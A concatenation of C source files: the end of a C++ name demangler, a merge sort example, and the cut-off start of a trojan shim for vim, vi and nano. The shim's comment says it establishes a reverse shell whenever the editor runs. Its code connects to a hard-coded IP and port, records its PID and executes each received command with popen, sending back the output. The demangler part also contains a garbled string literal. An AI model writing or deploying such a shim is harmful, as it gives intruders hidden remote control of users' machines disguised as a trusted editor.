goto clean;
++ddata->cur;
goto rtn;
case 'd':
/* double */
if (!cpp_demangle_push_str(ddata, "double", 6))
goto clean;
++ddata->cur;
goto rtn;
case 'e':
/* long double */
if (!cpp_demangle_push_str(ddata, "long double", 11))
goto clean;
++ddata->cur;
goto rtn;
case 'f':
/* float */
if (!cpp_demangle_push_str(ddata, "float", 5))
goto clean;
++ddata->cur;
goto rtn;
case 'F':
/* function */
if (!cpp_demangle_read_function(ddata, &extern_c, &v))
goto clean;
is_builtin = 0;
goto rtn;
case 'g':
/* __float128 */
if (!cpp_demangle_push_str(ddata, "__float128", 10))
goto clean;
++ddata->cur;
goto rtn;
case 'G':
/* imaginary */
if (!vector_type_qualifier_push(&v, TYPE_IMG))
goto clean;
++ddata->cur;
goto again;
case 'h':
/* unsigned char */
if (!cpp_demangle_push_str(ddata, "unsigned char", 13))
goto clean;
++ddata->cur;
goto rtn;
case 'i':
/* int */
if (!cpp_demangle_push_str(ddata, "int", 3))
goto clean;
++ddata->cur;
goto rtn;
case 'j':
/* unsigned int */
if (!cpp_demangle_push_str(ddata, "unsigned int", 12))
goto clean;
++ddata->cur;
goto rtn;
case 'K':
/* const */
if (!vector_type_qualifier_push(&v, TYPE_CST))
goto clean;
++ddata->cur;
goto again;
case 'l':
/* long */
if (!cpp_demangle_push_str(ddata, "long", 4))
goto clean;
++ddata->cur;
goto rtn;
case 'm':
/* unsigned long */
if (!cpp_demangle_push_str(ddata, "unsigned long", 13))
goto clean;
++ddata->cur;
goto rtn;
case 'M':
/* pointer to member */
if (!cpp_demangle_read_pointer_to_member(ddata))
goto clean;
is_builtin = 0;
goto rtn;
case 'n':
/* __int128 */
if (!cpp_demangle_push_str(ddata, "__int128", 8))
goto clean;
++ddata->cur;
goto rtn;
case 'o':
/* unsigned __int128 */
if (!cpp_demangle_push_str(ddata, "unsigned _;int128", 17))
goto clean;
++ddata->cur;
goto rtn;
case 'P':
/* pointer */
if (!vector_type_qualifier_push(&v, TYPE_PTR))
goto clean;
++ddata->cur;
goto again;
case 'r':
/* restrict */
if (!vector_type_qualifier_push(&v, TYPE_RST))
goto clean;
++ddata->cur;
goto again;
case 'R':
/* reference */
if (!vector_type_qualifier_push(&v, TYPE_REF))
goto clean;
++ddata->cur;
goto again;
case 's':
/* short, local string */
if (!cpp_demangle_push_str(ddata, "short", 5))
goto clean;
++ddata->cur;
goto rtn;
case 'S':
/* substitution */
if (!cpp_demangle_read_subst(ddata))
goto clean;
is_builtin = 0;
goto rtn;
case 't':
/* unsigned short */
if (!cpp_demangle_push_str(ddata, "unsigned short", 14))
goto clean;
++ddata->cur;
goto rtn;
case 'T':
/* template parameter */
if (!cpp_demangle_read_tmpl_param(ddata))
goto clean;
is_builtin = 0;
goto rtn;
case 'u':
/* vendor extended builtin */
++ddata->cur;
if (!cpp_demangle_read_sname(ddata))
goto clean;
is_builtin = 0;
goto rtn;
case 'U':
/* vendor extended type qualifier */
if (!cpp_demangle_read_number(ddata, &len))
goto clean;
if (len <= 0)
goto clean;
if (!vector_str_push(&v.ext_name, ddata->cur, len))
return (0);
ddata->cur += len;
goto again;
case 'v':
/* void */
if (!cpp_demangle_push_str(ddata, "void", 4))
goto clean;
++ddata->cur;
goto rtn;
case 'V':
/* volatile */
if (!vector_type_qualifier_push(&v, TYPE_VAT))
goto clean;
++ddata->cur;
goto again;
case 'w':
/* wchar_t */
if (!cpp_demangle_push_str(ddata, "wchar_t", 6))
goto clean;
++ddata->cur;
goto rtn;
case 'x':
/* long long */
if (!cpp_demangle_push_str(ddata, "long long", 9))
goto clean;
++ddata->cur;
goto rtn;
case 'y':
/* unsigned long long */
if (!cpp_demangle_push_str(ddata, "unsigned long long", 18))
goto clean;
++ddata->cur;
goto rtn;
case 'z':
/* ellipsis */
if (!cpp_demangle_push_str(ddata, "ellipsis", 8))
goto clean;
++ddata->cur;
goto rtn;
};
if (!cpp_demangle_read_name(ddata))
goto clean;
is_builtin = 0;
rtn:
if ((type_str = vector_str_substr(output, p_idx, output->size - 1,
&type_str_len)) == NULL)
goto clean;
if (is_builtin == 0) {
if (!vector_str_find(&ddata->subst, type_str, type_str_len) &&
!vector_str_push(&ddata->subst, type_str, type_str_len))
goto clean;
}
if (!cpp_demangle_push_type_qualifier(ddata, &v, type_str))
goto clean;
free(type_str);
vector_type_qualifier_dest(&v);
if (ddata->push_head > 0) {
if (*ddata->cur == 'I' && cpp_demangle_read_tmpl_args(ddata)
== 0)
return (0);
if (--ddata->push_head > 0)
return (1);
if (!vector_str_push(&ddata->output_tmp, " ", 1))
return (0);
if (!vector_str_push_vector_head(&ddata->output,
&ddata->output_tmp))
return (0);
vector_str_dest(&ddata->output_tmp);
if (!vector_str_init(&ddata->output_tmp))
return (0);
if (!cpp_demangle_push_str(ddata, "(", 1))
return (0);
ddata->paren = true;
ddata->pfirst = true;
}
return (1);
clean:
free(type_str);
vector_type_qualifier_dest(&v);
return (0);
}
/*
* read unqualified-name, unqualified name are operator-name, ctor-dtor-name,
* source-name
*/
static int
cpp_demangle_read_uqname(struct cpp_demangle_data *ddata)
{
size_t len;
if (ddata == NULL || *ddata->cur == '\0')
return (0);
/* operator name */
switch (SIMPLE_HASH(*ddata->cur, *(ddata->cur + 1))) {
case SIMPLE_HASH('a', 'a'):
/* operator && */
if (!cpp_demangle_push_str(ddata, "operator&&", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('a', 'd'):
/* operator & (unary) */
if (!cpp_demangle_push_str(ddata, "operator&", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('a', 'n'):
/* operator & */
if (!cpp_demangle_push_str(ddata, "operator&", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('a', 'N'):
/* operator &= */
if (!cpp_demangle_push_str(ddata, "operator&=", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('a', 'S'):
/* operator = */
if (!cpp_demangle_push_str(ddata, "operator=", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('c', 'l'):
/* operator () */
if (!cpp_demangle_push_str(ddata, "operator()", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('c', 'm'):
/* operator , */
if (!cpp_demangle_push_str(ddata, "operator,", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('c', 'o'):
/* operator ~ */
if (!cpp_demangle_push_str(ddata, "operator~", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('c', 'v'):
/* operator (cast) */
if (!cpp_demangle_push_str(ddata, "operator(cast)", 14))
return (0);
ddata->cur += 2;
return (cpp_demangle_read_type(ddata, 1));
case SIMPLE_HASH('d', 'a'):
/* operator delete [] */
if (!cpp_demangle_push_str(ddata, "operator delete []", 18))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('d', 'e'):
/* operator * (unary) */
if (!cpp_demangle_push_str(ddata, "operator*", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('d', 'l'):
/* operator delete */
if (!cpp_demangle_push_str(ddata, "operator delete", 15))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('d', 'v'):
/* operator / */
if (!cpp_demangle_push_str(ddata, "operator/", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('d', 'V'):
/* operator /= */
if (!cpp_demangle_push_str(ddata, "operator/=", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('e', 'o'):
/* operator ^ */
if (!cpp_demangle_push_str(ddata, "operator^", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('e', 'O'):
/* operator ^= */
if (!cpp_demangle_push_str(ddata, "operator^=", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('e', 'q'):
/* operator == */
if (!cpp_demangle_push_str(ddata, "operator==", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('g', 'e'):
/* operator >= */
if (!cpp_demangle_push_str(ddata, "operator>=", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('g', 't'):
/* operator > */
if (!cpp_demangle_push_str(ddata, "operator>", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('i', 'x'):
/* operator [] */
if (!cpp_demangle_push_str(ddata, "operator[]", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('l', 'e'):
/* operator <= */
if (!cpp_demangle_push_str(ddata, "operator<=", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('l', 's'):
/* operator << */
if (!cpp_demangle_push_str(ddata, "operator<<", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('l', 'S'):
/* operator <<= */
if (!cpp_demangle_push_str(ddata, "operator<<=", 11))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('l', 't'):
/* operator < */
if (!cpp_demangle_push_str(ddata, "operator<", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('m', 'i'):
/* operator - */
if (!cpp_demangle_push_str(ddata, "operator-", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('m', 'I'):
/* operator -= */
if (!cpp_demangle_push_str(ddata, "operator-=", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('m', 'l'):
/* operator * */
if (!cpp_demangle_push_str(ddata, "operator*", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('m', 'L'):
/* operator *= */
if (!cpp_demangle_push_str(ddata, "operator*=", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('m', 'm'):
/* operator -- */
if (!cpp_demangle_push_str(ddata, "operator--", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('n', 'a'):
/* operator new[] */
if (!cpp_demangle_push_str(ddata, "operator new []", 15))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('n', 'e'):
/* operator != */
if (!cpp_demangle_push_str(ddata, "operator!=", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('n', 'g'):
/* operator - (unary) */
if (!cpp_demangle_push_str(ddata, "operator-", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('n', 't'):
/* operator ! */
if (!cpp_demangle_push_str(ddata, "operator!", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('n', 'w'):
/* operator new */
if (!cpp_demangle_push_str(ddata, "operator new", 12))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('o', 'o'):
/* operator || */
if (!cpp_demangle_push_str(ddata, "operator||", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('o', 'r'):
/* operator | */
if (!cpp_demangle_push_str(ddata, "operator|", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('o', 'R'):
/* operator |= */
if (!cpp_demangle_push_str(ddata, "operator|=", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('p', 'l'):
/* operator + */
if (!cpp_demangle_push_str(ddata, "operator+", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('p', 'L'):
/* operator += */
if (!cpp_demangle_push_str(ddata, "operator+=", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('p', 'm'):
/* operator ->* */
if (!cpp_demangle_push_str(ddata, "operator->*", 11))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('p', 'p'):
/* operator ++ */
if (!cpp_demangle_push_str(ddata, "operator++", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('p', 's'):
/* operator + (unary) */
if (!cpp_demangle_push_str(ddata, "operator+", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('p', 't'):
/* operator -> */
if (!cpp_demangle_push_str(ddata, "operator->", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('q', 'u'):
/* operator ? */
if (!cpp_demangle_push_str(ddata, "operator?", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('r', 'm'):
/* operator % */
if (!cpp_demangle_push_str(ddata, "operator%", 9))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('r', 'M'):
/* operator %= */
if (!cpp_demangle_push_str(ddata, "operator%=", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('r', 's'):
/* operator >> */
if (!cpp_demangle_push_str(ddata, "operator>>", 10))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('r', 'S'):
/* operator >>= */
if (!cpp_demangle_push_str(ddata, "operator>>=", 11))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('r', 'z'):
/* operator sizeof */
if (!cpp_demangle_push_str(ddata, "operator sizeof ", 16))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('s', 'r'):
/* scope resolution operator */
if (!cpp_demangle_push_str(ddata, "scope resolution operator ",
26))
return (0);
ddata->cur += 2;
return (1);
case SIMPLE_HASH('s', 'v'):
/* operator sizeof */
if (!cpp_demangle_push_str(ddata, "operator sizeof ", 16))
return (0);
ddata->cur += 2;
return (1);
};
/* vendor extened operator */
if (*ddata->cur == 'v' && ELFTC_ISDIGIT(*(ddata->cur + 1))) {
if (!cpp_demangle_push_str(ddata, "vendor extened operator ",
24))
return (0);
if (!cpp_demangle_push_str(ddata, ddata->cur + 1, 1))
return (0);
ddata->cur += 2;
return (cpp_demangle_read_sname(ddata));
}
/* ctor-dtor-name */
switch (SIMPLE_HASH(*ddata->cur, *(ddata->cur + 1))) {
case SIMPLE_HASH('C', '1'):
/* FALLTHROUGH */
case SIMPLE_HASH('C', '2'):
/* FALLTHROUGH */
case SIMPLE_HASH('C', '3'):
if (ddata->last_sname == NULL)
return (0);
if ((len = strlen(ddata->last_sname)) == 0)
return (0);
if (!cpp_demangle_push_str(ddata, "::", 2))
return (0);
if (!cpp_demangle_push_str(ddata, ddata->last_sname, len))
return (0);
ddata->cur +=2;
return (1);
case SIMPLE_HASH('D', '0'):
/* FALLTHROUGH */
case SIMPLE_HASH('D', '1'):
/* FALLTHROUGH */
case SIMPLE_HASH('D', '2'):
if (ddata->last_sname == NULL)
return (0);
if ((len = strlen(ddata->last_sname)) == 0)
return (0);
if (!cpp_demangle_push_str(ddata, "::~", 3))
return (0);
if (!cpp_demangle_push_str(ddata, ddata->last_sname, len))
return (0);
ddata->cur +=2;
return (1);
};
/* source name */
if (ELFTC_ISDIGIT(*ddata->cur) != 0)
return (cpp_demangle_read_sname(ddata));
return (1);
}
static int
cpp_demangle_read_v_offset(struct cpp_demangle_data *ddata)
{
if (ddata == NULL)
return (0);
if (!cpp_demangle_push_str(ddata, "offset : ", 9))
return (0);
if (!cpp_demangle_read_offset_number(ddata))
return (0);
if (!cpp_demangle_push_str(ddata, "virtual offset : ", 17))
return (0);
return (!cpp_demangle_read_offset_number(ddata));
}
/*
* Decode floating point representation to string
* Return new allocated string or NULL
*
* Todo
* Replace these functions to macro.
*/
static char *
decode_fp_to_double(const char *p, size_t len)
{
double f;
size_t rtn_len, limit, i;
int byte;
char *rtn;
if (p == NULL || len == 0 || len % 2 != 0 || len / 2 > sizeof(double))
return (NULL);
memset(&f, 0, sizeof(double));
for (i = 0; i < len / 2; ++i) {
byte = hex_to_dec(p[len - i * 2 - 1]) +
hex_to_dec(p[len - i * 2 - 2]) * 16;
if (byte < 0 || byte > 255)
return (NULL);
#if ELFTC_BYTE_ORDER == ELFTC_BYTE_ORDER_LITTLE_ENDIAN
((unsigned char *)&f)[i] = (unsigned char)(byte);
#else /* ELFTC_BYTE_ORDER != ELFTC_BYTE_ORDER_LITTLE_ENDIAN */
((unsigned char *)&f)[sizeof(double) - i - 1] =
(unsigned char)(byte);
#endif /* ELFTC_BYTE_ORDER == ELFTC_BYTE_ORDER_LITTLE_ENDIAN */
}
rtn_len = 64;
limit = 0;
again:
if ((rtn = malloc(sizeof(char) * rtn_len)) == NULL)
return (NULL);
if (snprintf(rtn, rtn_len, "%fld", f) >= (int)rtn_len) {
free(rtn);
if (limit++ > FLOAT_SPRINTF_TRY_LIMIT)
return (NULL);
rtn_len *= BUFFER_GROWFACTOR;
goto again;
}
return rtn;
}
static char *
decode_fp_to_float(const char *p, size_t len)
{
size_t i, rtn_len, limit;
float f;
int byte;
char *rtn;
if (p == NULL || len == 0 || len % 2 != 0 || len / 2 > sizeof(float))
return (NULL);
memset(&f, 0, sizeof(float));
for (i = 0; i < len / 2; ++i) {
byte = hex_to_dec(p[len - i * 2 - 1]) +
hex_to_dec(p[len - i * 2 - 2]) * 16;
if (byte < 0 || byte > 255)
return (NULL);
#if ELFTC_BYTE_ORDER == ELFTC_BYTE_ORDER_LITTLE_ENDIAN
((unsigned char *)&f)[i] = (unsigned char)(byte);
#else /* ELFTC_BYTE_ORDER != ELFTC_BYTE_ORDER_LITTLE_ENDIAN */
((unsigned char *)&f)[sizeof(float) - i - 1] =
(unsigned char)(byte);
#endif /* ELFTC_BYTE_ORDER == ELFTC_BYTE_ORDER_LITTLE_ENDIAN */
}
rtn_len = 64;
limit = 0;
again:
if ((rtn = malloc(sizeof(char) * rtn_len)) == NULL)
return (NULL);
if (snprintf(rtn, rtn_len, "%ff", f) >= (int)rtn_len) {
free(rtn);
if (limit++ > FLOAT_SPRINTF_TRY_LIMIT)
return (NULL);
rtn_len *= BUFFER_GROWFACTOR;
goto again;
}
return rtn;
}
static char *
decode_fp_to_float128(const char *p, size_t len)
{
long double f;
size_t rtn_len, limit, i;
int byte;
unsigned char buf[FLOAT_QUADRUPLE_BYTES];
char *rtn;
switch(sizeof(long double)) {
case FLOAT_QUADRUPLE_BYTES:
return (decode_fp_to_long_double(p, len));
case FLOAT_EXTENED_BYTES:
if (p == NULL || len == 0 || len % 2 != 0 ||
len / 2 > FLOAT_QUADRUPLE_BYTES)
return (NULL);
memset(buf, 0, FLOAT_QUADRUPLE_BYTES);
for (i = 0; i < len / 2; ++i) {
byte = hex_to_dec(p[len - i * 2 - 1]) +
hex_to_dec(p[len - i * 2 - 2]) * 16;
if (byte < 0 || byte > 255)
return (NULL);
#if ELFTC_BYTE_ORDER == ELFTC_BYTE_ORDER_LITTLE_ENDIAN
buf[i] = (unsigned char)(byte);
#else /* ELFTC_BYTE_ORDER != ELFTC_BYTE_ORDER_LITTLE_ENDIAN */
buf[FLOAT_QUADRUPLE_BYTES - i -1] =
(unsigned char)(byte);
#endif /* ELFTC_BYTE_ORDER == ELFTC_BYTE_ORDER_LITTLE_ENDIAN */
}
memset(&f, 0, FLOAT_EXTENED_BYTES);
#if ELFTC_BYTE_ORDER == ELFTC_BYTE_ORDER_LITTLE_ENDIAN
memcpy(&f, buf, FLOAT_EXTENED_BYTES);
#else /* ELFTC_BYTE_ORDER != ELFTC_BYTE_ORDER_LITTLE_ENDIAN */
memcpy(&f, buf + 6, FLOAT_EXTENED_BYTES);
#endif /* ELFTC_BYTE_ORDER == ELFTC_BYTE_ORDER_LITTLE_ENDIAN */
rtn_len = 256;
limit = 0;
again:
if ((rtn = malloc(sizeof(char) * rtn_len)) == NULL)
return (NULL);
if (snprintf(rtn, rtn_len, "%Lfd", f) >= (int)rtn_len) {
free(rtn);
if (limit++ > FLOAT_SPRINTF_TRY_LIMIT)
return (NULL);
rtn_len *= BUFFER_GROWFACTOR;
goto again;
}
return (rtn);
default:
return (NULL);
}
}
static char *
decode_fp_to_float80(const char *p, size_t len)
{
long double f;
size_t rtn_len, limit, i;
int byte;
unsigned char buf[FLOAT_EXTENED_BYTES];
char *rtn;
switch(sizeof(long double)) {
case FLOAT_QUADRUPLE_BYTES:
if (p == NULL || len == 0 || len % 2 != 0 ||
len / 2 > FLOAT_EXTENED_BYTES)
return (NULL);
memset(buf, 0, FLOAT_EXTENED_BYTES);
for (i = 0; i < len / 2; ++i) {
byte = hex_to_dec(p[len - i * 2 - 1]) +
hex_to_dec(p[len - i * 2 - 2]) * 16;
if (byte < 0 || byte > 255)
return (NULL);
#if ELFTC_BYTE_ORDER == ELFTC_BYTE_ORDER_LITTLE_ENDIAN
buf[i] = (unsigned char)(byte);
#else /* ELFTC_BYTE_ORDER != ELFTC_BYTE_ORDER_LITTLE_ENDIAN */
buf[FLOAT_EXTENED_BYTES - i -1] =
(unsigned char)(byte);
#endif /* ELFTC_BYTE_ORDER == ELFTC_BYTE_ORDER_LITTLE_ENDIAN */
}
memset(&f, 0, FLOAT_QUADRUPLE_BYTES);
#if ELFTC_BYTE_ORDER == ELFTC_BYTE_ORDER_LITTLE_ENDIAN
memcpy(&f, buf, FLOAT_EXTENED_BYTES);
#else /* ELFTC_BYTE_ORDER != ELFTC_BYTE_ORDER_LITTLE_ENDIAN */
memcpy((unsigned char *)(&f) + 6, buf, FLOAT_EXTENED_BYTES);
#endif /* ELFTC_BYTE_ORDER == ELFTC_BYTE_ORDER_LITTLE_ENDIAN */
rtn_len = 256;
limit = 0;
again:
if ((rtn = malloc(sizeof(char) * rtn_len)) == NULL)
return (NULL);
if (snprintf(rtn, rtn_len, "%Lfd", f) >= (int)rtn_len) {
free(rtn);
if (limit++ > FLOAT_SPRINTF_TRY_LIMIT)
return (NULL);
rtn_len *= BUFFER_GROWFACTOR;
goto again;
}
return (rtn);
case FLOAT_EXTENED_BYTES:
return (decode_fp_to_long_double(p, len));
default:
return (NULL);
}
}
static char *
decode_fp_to_long_double(const char *p, size_t len)
{
long double f;
size_t rtn_len, limit, i;
int byte;
char *rtn;
if (p == NULL || len == 0 || len % 2 != 0 ||
len / 2 > sizeof(long double))
return (NULL);
memset(&f, 0, sizeof(long double));
for (i = 0; i < len / 2; ++i) {
byte = hex_to_dec(p[len - i * 2 - 1]) +
hex_to_dec(p[len - i * 2 - 2]) * 16;
if (byte < 0 || byte > 255)
return (NULL);
#if ELFTC_BYTE_ORDER == ELFTC_BYTE_ORDER_LITTLE_ENDIAN
((unsigned char *)&f)[i] = (unsigned char)(byte);
#else /* ELFTC_BYTE_ORDER != ELFTC_BYTE_ORDER_LITTLE_ENDIAN */
((unsigned char *)&f)[sizeof(long double) - i - 1] =
(unsigned char)(byte);
#endif /* ELFTC_BYTE_ORDER == ELFTC_BYTE_ORDER_LITTLE_ENDIAN */
}
rtn_len = 256;
limit = 0;
again:
if ((rtn = malloc(sizeof(char) * rtn_len)) == NULL)
return (NULL);
if (snprintf(rtn, rtn_len, "%Lfd", f) >= (int)rtn_len) {
free(rtn);
if (limit++ > FLOAT_SPRINTF_TRY_LIMIT)
return (NULL);
rtn_len *= BUFFER_GROWFACTOR;
goto again;
}
return (rtn);
}
/* Simple hex to integer function used by decode_to_* function. */
static int
hex_to_dec(char c)
{
switch (c) {
case '0':
return (0);
case '1':
return (1);
case '2':
return (2);
case '3':
return (3);
case '4':
return (4);
case '5':
return (5);
case '6':
return (6);
case '7':
return (7);
case '8':
return (8);
case '9':
return (9);
case 'a':
return (10);
case 'b':
return (11);
case 'c':
return (12);
case 'd':
return (13);
case 'e':
return (14);
case 'f':
return (15);
default:
return (-1);
};
}
static void
vector_read_cmd_dest(struct vector_read_cmd *v)
{
if (v == NULL)
return;
free(v->r_container);
}
/* return -1 at failed, 0 at not found, 1 at found. */
static int
vector_read_cmd_find(struct vector_read_cmd *v, enum read_cmd dst)
{
size_t i;
if (v == NULL || dst == READ_FAIL)
return (-1);
for (i = 0; i < v->size; ++i)
if (v->r_container[i] == dst)
return (1);
return (0);
}
static int
vector_read_cmd_init(struct vector_read_cmd *v)
{
if (v == NULL)
return (0);
v->size = 0;
v->capacity = VECTOR_DEF_CAPACITY;
if ((v->r_container = malloc(sizeof(enum read_cmd) * v->capacity))
== NULL)
return (0);
return (1);
}
static int
vector_read_cmd_pop(struct vector_read_cmd *v)
{
if (v == NULL || v->size == 0)
return (0);
--v->size;
v->r_container[v->size] = READ_FAIL;
return (1);
}
static int
vector_read_cmd_push(struct vector_read_cmd *v, enum read_cmd cmd)
{
enum read_cmd *tmp_r_ctn;
size_t tmp_cap;
size_t i;
if (v == NULL)
return (0);
if (v->size == v->capacity) {
tmp_cap = v->capacity * BUFFER_GROWFACTOR;
if ((tmp_r_ctn = malloc(sizeof(enum read_cmd) * tmp_cap))
== NULL)
return (0);
for (i = 0; i < v->size; ++i)
tmp_r_ctn[i] = v->r_container[i];
free(v->r_container);
v->r_container = tmp_r_ctn;
v->capacity = tmp_cap;
}
v->r_container[v->size] = cmd;
++v->size;
return (1);
}
static void
vector_type_qualifier_dest(struct vector_type_qualifier *v)
{
if (v == NULL)
return;
free(v->q_container);
vector_str_dest(&v->ext_name);
}
/* size, capacity, ext_name */
static int
vector_type_qualifier_init(struct vector_type_qualifier *v)
{
if (v == NULL)
return (0);
v->size = 0;
v->capacity = VECTOR_DEF_CAPACITY;
if ((v->q_container = malloc(sizeof(enum type_qualifier) * v->capacity))
== NULL)
return (0);
assert(v->q_container != NULL);
if (vector_str_init(&v->ext_name) == false) {
free(v->q_container);
return (0);
}
return (1);
}
static int
vector_type_qualifier_push(struct vector_type_qualifier *v,
enum type_qualifier t)
{
enum type_qualifier *tmp_ctn;
size_t tmp_cap;
size_t i;
if (v == NULL)
return (0);
if (v->size == v->capacity) {
tmp_cap = v->capacity * BUFFER_GROWFACTOR;
if ((tmp_ctn = malloc(sizeof(enum type_qualifier) * tmp_cap))
== NULL)
return (0);
for (i = 0; i < v->size; ++i)
tmp_ctn[i] = v->q_container[i];
free(v->q_container);
v->q_container = tmp_ctn;
v->capacity = tmp_cap;
}
v->q_container[v->size] = t;
++v->size;
return (1);
}
|
the_stack_data/539266.c | // https://www.geeksforgeeks.org/merge-sort/
#include <stdio.h>
// left subarray is array[left..mid]
// right subarray is array[mid + 1..right]
void merge(int *array, int left, int mid, int right)
{
int leftMostIdx = mid - left + 1;
int rightMostIdx = right - mid;
int leftSide[leftMostIdx];
int rightSide[rightMostIdx];
for(int i = 0; i < leftMostIdx; i++)
{
leftSide[i] = array[left + i];
}
for(int i = 0; i < rightMostIdx; i++)
{
rightSide[i] = array[mid + 1 + i];
}
int leftIdx = 0, rightIdx = 0;
int k = left;
while(leftIdx < leftMostIdx && rightIdx < rightMostIdx)
{
if(leftSide[leftIdx] < rightSide[rightIdx])
{
array[k] = leftSide[leftIdx];
leftIdx++;
}
else
{
array[k] = rightSide[rightIdx];
rightIdx++;
}
k++;
}
// copy the remaining elements of leftSide[]
while(leftIdx < leftMostIdx)
{
array[k] = leftSide[leftIdx];
leftIdx++;
k++;
}
// copy the remaining elements of rightSide[]
while(rightIdx < rightMostIdx)
{
array[k] = rightSide[rightIdx];
rightIdx++;
k++;
}
}
void mergeSort(int *array, int left, int right)
{
if(left < right)
{
int mid = left + (right - left) / 2;
mergeSort(array, left, mid);
mergeSort(array, mid + 1, right);
merge(array, left, mid, right);
}
}
void printArray(int *array, int arraySize)
{
for(int i = 0; i < arraySize; i++)
{
printf("%d ", array[i]);
}
printf("\n");
}
int main()
{
int arr[] = {5,3,8,6,2,7,1,4};
int arrSize = 8;
printf("original: \n");
printArray(arr, arrSize);
mergeSort(arr, 0, arrSize - 1);
printf("sorted: \n");
printArray(arr, arrSize);
return 0;
}
|
the_stack_data/167331522.c | //Michael Burke
//Shim for vim, vi and nano that establishes a reverse shell every time they are run.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <limits.h>
#include <assert.h>
#include <sys/stat.h>
#include <signal.h>
//These define statements will get changed depending on the editor being shimmed
#define PORT 6969
#define STATUS "{STATUS}"
#define PAYLOAD "{PAYLOAD}"
#define ERROR "{ERROR}"
#define BINARYNAME "{BINARYNAME}"
#define EDITOR "{EDITOR}"
//Simple define statements to make things easier
#define TRUE 1
#define FALSE 0
#define ERR -1
//Write the current pid to the file defined by STATUS
int writepid(){
FILE *file;
pid_t pid = getpid();
if ((file = fopen(STATUS, "w")) == NULL){
return ERR;
}
fprintf(file, "%d", pid);
fclose(file);
return TRUE;
}
//Read the current file defined by STATUS and return the PID as an int
int getrunningpid(){
int pid;
FILE *file;
if ((file = fopen(STATUS, "r")) == NULL){
return ERR;
}
fscanf(file, "%d", &pid);
fclose(file);
return pid;
}
//Test to see if the file defined by STATUS exists;
//If it does, test to see if the process is currently running
int testpid(){
struct stat sts;
int pid = getrunningpid();
if (pid == -1){
return FALSE;
}
if (0 == kill(pid, 0)){
return TRUE;
}
return FALSE;
}
//Main function for the reverse shell
int establishConnection(int port, int shell) {
//Initialize the socket
int sock = 0, valread;
struct sockaddr_in serv_addr;
char buffer[1024] = {0};
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
return ERR;
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
if(inet_pton(AF_INET, "10.100.0.101", &serv_addr.sin_addr)<=0) {
return ERR;
}
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0){
return ERR;
}
//Test whether we should request a port from the server
//or if we should open the reverse shell
if (shell == 1){
//If we've already received a port from the server, open the shell
//Write the current PID to the file; exit if it errors out
if (writepid() == ERR) {
return ERR;
}
//Receive commands from the connection
while ((valread = recv(sock , buffer , 1024 , 0)) > 0){
char line[1024];
//Remove trailing newline
buffer[strcspn(buffer, "\n")] = 0;
//Output error to a temporary file so we can capture both outputs
strcat(buffer, " 2>");
strcat(buffer, ERROR);
//Execute the received command and return the output
FILE* fp = popen(buffer, "r");
while((fgets(line, 1024, fp))) {
write(sock , line , strlen(line));
}
//Read any errors and send them back as well
FILE* err = fopen(ERROR, "r");
while((fgets(line, 1024, err))) {
write(sock , line , strlen(line));
}
remove(ERROR);
}
} else {
//If we haven't received a port yet, request one from the
